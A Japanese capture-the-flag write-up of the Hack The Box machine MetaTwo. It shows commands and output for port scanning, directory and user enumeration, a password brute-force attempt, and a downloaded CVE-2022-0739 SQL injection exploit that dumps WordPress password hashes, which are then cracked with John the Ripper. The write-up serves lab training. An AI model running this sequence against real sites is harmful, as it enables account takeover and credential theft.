初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「MetaTwo」にチャレンジした際の WriteUp - その1 になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※個人的に学びになったので備忘録で記載します。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
「WriteUp - その2」については以下です。
Discovery(その1)
ポートスキャン
Metasploitを利用する可能性を考えてdb_nmap
でのスキャンを実施。
※あと、どうせないだろうけどNmap
で見える脆弱性もスキャンしておく。
┌──(root💀kali)-[~/work]
└─# msfdb init
┌──(root💀kali)-[~/work]
└─# msfconsole
msf6 > db_nmap 10.10.11.186 -A -v --top-ports 8340
結果はこんな感じです。
※抜粋
[*] Nmap: Discovered open port 22/tcp on 10.10.11.186
[*] Nmap: Discovered open port 80/tcp on 10.10.11.186
[*] Nmap: Discovered open port 21/tcp on 10.10.11.186
...
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp
[*] Nmap: | fingerprint-strings:
[*] Nmap: | GenericLines:
[*] Nmap: | 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
[*] Nmap: | Invalid command: try being more creative
[*] Nmap: |_ Invalid command: try being more creative
[*] Nmap: 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
[*] Nmap: | 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
[*] Nmap: |_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
[*] Nmap: 80/tcp open http nginx 1.18.0
[*] Nmap: | http-methods:
[*] Nmap: |_ Supported Methods: GET HEAD POST OPTIONS
[*] Nmap: |_http-server-header: nginx/1.18.0
[*] Nmap: |_http-title: Did not follow redirect to http://metapress.htb/
ポート21,22、80が公開されてそう。ドメインはmetapress.htb
だ。
msfdb
にはいい感じにこれらのOpenPortのサービスをまとめてくれるコマンドがあるので一応確認。
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.11.186 21 tcp ftp open
10.10.11.186 22 tcp ssh open OpenSSH 8.4p1 Debian 5+deb11u1 protocol 2.0
10.10.11.186 80 tcp http open nginx 1.18.0
※あと、どうせないだろうけどNmap
で見える脆弱性もスキャンしておく。
msf6 > db_nmap 10.10.11.186 --script vuln -v -p 21,22,80
…案の定有用なものはなかった。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしておく。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.186 metapress.htb
疎通確認を行う。
┌──(root💀kali)-[~/work]
└─# ping metapress.htb
PING metapress.htb (10.10.11.186) 56(84) bytes of data.
64 bytes from metapress.htb (10.10.11.186): icmp_seq=1 ttl=63 time=227 ms
64 bytes from metapress.htb (10.10.11.186): icmp_seq=2 ttl=63 time=196 ms
64 bytes from metapress.htb (10.10.11.186): icmp_seq=3 ttl=63 time=201 ms
サイト探索
httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
gobuster
で探索。特段それっぽいのはなさそう。
┌──(root💀kali)-[~/work]
└─# gobuster vhost -w ./bitquark-subdomains-top100000.txt -t 50 -u metapress.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://metapress.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: ./bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/11/03 15:46:23 Starting gobuster in VHOST enumeration mode
===============================================================
===============================================================
2022/11/03 15:53:38 Finished
===============================================================
ディレクトリ探索
dirsearch
やります。
┌──(root💀kali)-[~]
└─# dirsearch -u http://metapress.htb 1 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/metapress.htb/_22-11-03_15-28-54.txt
Error Log: /root/.dirsearch/logs/errors-22-11-03_15-28-54.log
Target: http://metapress.htb/
[15:28:55] Starting:
[15:29:33] 200 - 633B - /.htaccess
[15:30:25] 301 - 0B - /0 -> http://metapress.htb/0/
[15:30:41] 301 - 0B - /About -> http://metapress.htb/about-us/
[15:31:02] 301 - 0B - /New%20folder%20(2) -> http://metapress.htb/New%20folder%20(2
[15:31:39] 301 - 0B - /A -> http://metapress.htb/about-us/
[15:31:39] 301 - 0B - /a -> http://metapress.htb/about-us/
[15:31:39] 301 - 0B - /ab/ -> http://metapress.htb/about-us/
[15:31:40] 301 - 0B - /about -> http://metapress.htb/about-us/
[15:31:40] 301 - 0B - /about-us -> http://metapress.htb/about-us/
[15:31:48] 301 - 0B - /actuator/events -> http://metapress.htb/events/
[15:31:54] 302 - 0B - /admin -> http://metapress.htb/wp-admin/
[15:31:58] 301 - 0B - /admin. -> http://metapress.htb/admin
[15:32:00] 302 - 0B - /admin/ -> http://metapress.htb/wp-admin/
[15:33:17] 301 - 0B - /asset.. -> http://metapress.htb/asset
[15:33:18] 301 - 0B - /atom -> http://metapress.htb/feed/atom/
[15:33:40] 301 - 0B - /c -> http://metapress.htb/cancel-appointment/
[15:34:19] 302 - 0B - /dashboard -> http://metapress.htb/wp-admin/
[15:34:38] 301 - 0B - /e -> http://metapress.htb/events/
[15:34:44] 301 - 0B - /engine/classes/swfupload//swfupload.swf -> http://metapress.htb/engine/classes/swfupload/swfupload.swf
[15:34:44] 301 - 0B - /engine/classes/swfupload//swfupload_f9.swf -> http://metapress.htb/engine/classes/swfupload/swfupload_f9.swf
[15:34:49] 301 - 0B - /events -> http://metapress.htb/events/
[15:34:51] 301 - 0B - /extjs/resources//charts.swf -> http://metapress.htb/extjs/resources/charts.swf
[15:34:53] 301 - 0B - /feed -> http://metapress.htb/feed/
[15:35:03] 301 - 0B - /h -> http://metapress.htb/hello-world/
[15:35:04] 301 - 0B - /hello -> http://metapress.htb/hello-world/
[15:35:06] 301 - 0B - /html/js/misc/swfupload//swfupload.swf -> http://metapress.htb/html/js/misc/swfupload/swfupload.swf
[15:35:12] 301 - 0B - /index.php -> http://metapress.htb/
[15:35:13] 301 - 0B - /index.php/login/ -> http://metapress.htb/login/
[15:35:25] 200 - 19KB - /license.txt
[15:35:30] 302 - 0B - /login -> http://metapress.htb/wp-login.php
[15:35:30] 301 - 0B - /login.wdm%2e -> http://metapress.htb/login.wdm
[15:35:30] 302 - 0B - /login/ -> http://metapress.htb/wp-login.php
[15:35:30] 301 - 0B - /login.wdm%20 -> http://metapress.htb/login.wdm
[15:36:06] 301 - 0B - /phpmyadmin!! -> http://metapress.htb/phpmyadmin
[15:36:24] 301 - 0B - /public.. -> http://metapress.htb/public
[15:36:26] 301 - 0B - /rating_over. -> http://metapress.htb/rating_over
[15:36:28] 200 - 7KB - /readme.html
[15:36:32] 200 - 113B - /robots.txt
[15:36:32] 301 - 0B - /rss -> http://metapress.htb/feed/
[15:36:33] 301 - 0B - /s -> http://metapress.htb/sample-page/
[15:36:33] 301 - 0B - /sample -> http://metapress.htb/sample-page/
[15:36:38] 301 - 0B - /servlet/hello -> http://metapress.htb/hello-world/
[15:36:45] 302 - 0B - /sitemap.xml -> http://metapress.htb/wp-sitemap.xml
[15:36:51] 301 - 0B - /static.. -> http://metapress.htb/static
[15:36:58] 301 - 0B - /t -> http://metapress.htb/thank-you/
[15:37:20] 301 - 169B - /wp-admin -> http://metapress.htb/wp-admin/
[15:37:20] 302 - 0B - /wp-admin/ -> http://metapress.htb/wp-login.php?redirect_to=http%3A%2F%2Fmetapress.htb%2Fwp-admin%2F&reauth=1
[15:37:20] 301 - 169B - /wp-content -> http://metapress.htb/wp-content/
[15:37:20] 400 - 1B - /wp-admin/admin-ajax.php
[15:37:21] 409 - 3KB - /wp-admin/setup-config.php
[15:37:21] 200 - 1KB - /wp-admin/install.php
[15:37:21] 200 - 0B - /wp-config.php
[15:37:21] 200 - 0B - /wp-content/
[15:37:22] 403 - 555B - /wp-content/upgrade/
[15:37:22] 403 - 555B - /wp-content/uploads/
[15:37:22] 403 - 555B - /wp-includes/
[15:37:22] 301 - 169B - /wp-includes -> http://metapress.htb/wp-includes/
[15:37:23] 200 - 0B - /wp-cron.php
[15:37:23] 200 - 0B - /wp-includes/rss-functions.php
[15:37:23] 200 - 578B - /wp-json/wp/v2/users/
[15:37:23] 200 - 7KB - /wp-login.php
[15:37:23] 302 - 0B - /wp-signup.php -> http://metapress.htb/wp-login.php?action=register
[15:37:24] 200 - 91KB - /wp-json/
[15:37:25] 405 - 42B - /xmlrpc.php
ディレクトリ階層見た感じWordPressっぽい。
Discovery(その2)
Burp SuiteのProxy経由で実際にアクセス
Burp Suiteとは何ぞやは以下の過去記事をご覧ください。
ああ、WordPressですね。Loginページもデフォルトのアドレスにありました。
じゃぁWPSCAN
やっちゃいますか。
WPSCAN
-enumerate u
オプションを付けてついでにユーザ探索もしときます。
┌──(root💀kali)-[~]
└─# wpscan --url metapress.htb --enumerate u 1 ⨯
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.18
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://metapress.htb/ [10.10.11.186]
[+] Started: Thu Nov 3 16:24:44 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: nginx/1.18.0
| - X-Powered-By: PHP/8.0.24
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://metapress.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
| - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://metapress.htb/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://metapress.htb/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1, Match: 'Version: 1.1'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:05 <==============================================================================> (10 / 10) 100.00% Time: 00:00:05
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Sitemap (Aggressive Detection)
| - http://metapress.htb/wp-sitemap-users-1.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Nov 3 16:25:15 2022
[+] Requests Done: 53
[+] Cached Requests: 8
[+] Data Sent: 16.571 KB
[+] Data Received: 300.594 KB
[+] Memory used: 205.656 MB
[+] Elapsed time: 00:00:30
WordPressのバージョンが5.6.2
という事、Userにadmin
がいるということ、Themeにtwentytwentyone ver 1.1
を使っていることがわかってしまった。
これらがわかってしまうだけで相当な情報を攻撃者に伝えてしまうことになりますねぇ。
じゃぁAdminでブルートフォース攻撃でもやってみますかぁ
Credential Access(超ダメ元)
先ほどサブドメインリストを取ってきたGitからPassWordリストをもってきます。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt
wpscan
にはBrute Forceのオプションもあるのでそのままやっちゃいます。
┌──(root💀kali)-[~/work]
└─# wpscan --url metapress.htb -U admin -P ./500-worst-passwords.txt -t 20
上記回している間にWordPressのバージョンから既知の脆弱性を探っていきます。
※Brute Forceではクレデンシャル情報手に入れることできませんでした~
Initial Access
公開サービスの脆弱性探索
WordPress5.6.2に存在する脆弱性を調査、以下サイトが役立ちます。
ざっと見た感じSQLiがあるのでここら辺を試していきたい。CVE-2022-21661の脆弱性を試してみる。
この脆弱性の起因となる/wp-admin/admin-ajax.php
もdirsearch
で確認できているのでやっちゃいましょう。
以下のGitHubからExploitコードを落としてくる。
このリポジトリのsploit.py
を使用することになるのですが、最近はPoCコードを装った悪性ファイルも多いので(以下記事参照)しっかりコードの中身を確認してください。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/0x4E0x650x6F/Wordpress-cve-CVE-2022-21661/master/sploit.py
┌──(root💀kali)-[~/work]
└─# python3 sploit.py http://metapress.htb/wp-admin/admin-ajax.php 2
うん、外れっぽい。
別のルートを探索する必要性ありですね。
初心に立ち返ろう
題名の通りですね。
以下のおハッカーさん御用達のチートサイト「HackTricks」から脆弱性調査を試していこう。
そういえばdirsearch
した際にxml-rpc.php
あったなぁと思ったので試してく。
とりあえずチェックはOK
metaWeblog.getUsersBlogs
があるので通りそうな予感はほんっっっっっっのちょっとだけするけど、続けてクレデンシャルを取りに行ってみる。
ですよねぇ、弾かれますよねぇ。
んじゃ次行ってみましょう。。。
初心に立ち返ろう(リターンズ)
全ページ調査
もうちょっとサイトの構成探っていこう...ということでdirsearch
の結果を見たらsitemap.xml
があったので、このマップを元に全ページアクセスをしてみる。
※WordPressはレスポンスにプラグインの情報が紛れていることがたまにあるので物は試し。
そうすると、以下のプラグインが見つかる。
バージョンは1.0.1
のようである。このバージョンの脆弱性を調べてみると以下の脆弱性CVE-2022-0739が見つかった。
というわけで、以下のGitからPoCツールを落としてくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/Chris01s/CVE-2022-0739/main/exploit.sh
レッツハッキングスタート!!!!!
┌──(root💀kali)-[~/work]
└─# bash ./exploit.sh 'http://metapress.htb/events/'
____ __ _ ____
/ __ )____ ____ / /__(_)___ ____ _/ __ \________ __________
/ __ / __ \/ __ \/ //_/ / __ \/ __ `/ /_/ / ___/ _ \/ ___/ ___/
/ /_/ / /_/ / /_/ / ,< / / / / / /_/ / ____/ / / __(__ |__ )
/_____/\____/\____/_/|_/_/_/ /_/\__, /_/ /_/ \___/____/____/
/____/
_______ ________ ___ ____ ___ ___ ____ __________ ____
/ ____/ | / / ____/ |__ \ / __ \__ \|__ \ / __ \/__ /__ // __ \
/ / | | / / __/________/ // / / /_/ /__/ /_____/ / / / / / /_ </ /_/ /
/ /___ | |/ / /__/_____/ __// /_/ / __// __/_____/ /_/ / / /___/ /\__, /
\____/ |___/_____/ /____/\____/____/____/ \____/ /_//____//____/
[+] Exploiting http://metapress.htb ...
[+] Vulnerable url at http://metapress.htb/events/...
[+] Gettting nonce...
[+] Found nonce: d8e16df2ba
[+] Extract database name...
information_schema
blog
[+] Getting creds...
admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70
クレデンシャル情報ゲットだぜ!!!
Wordpressのクレデンシャル情報はphpass
のフォーマットなので、John the Ripper
でデコードできそうである。
復号
※詳細は以下の過去記事を参考にしてほしい。
以下のようなhash.txt
を作成
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
ハッシュ復元で御用達しているrockyou.txt
を持ってくる。
┌──(root💀kali)-[~/work]
└─# wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
john
コマンドを実行。以下抜粋。
┌──(root💀kali)-[~/work]
└─# john hash.txt --wordlist=./rockyou.txt --format=phpass
Using default input encoding: UTF-8
…
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (manager)
managerのPassWordがわかるのでそいつでログインをしてみよう。
ログイン成功!!!!
まとめ
まだこの段階では一般システム権限は取れてないですが、本記事はここまでにさせていただく。
ここからは「MITRE ATT&CK」の Persistence の項目になっていくが、その記事についてはまた次回にさせていただこう。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。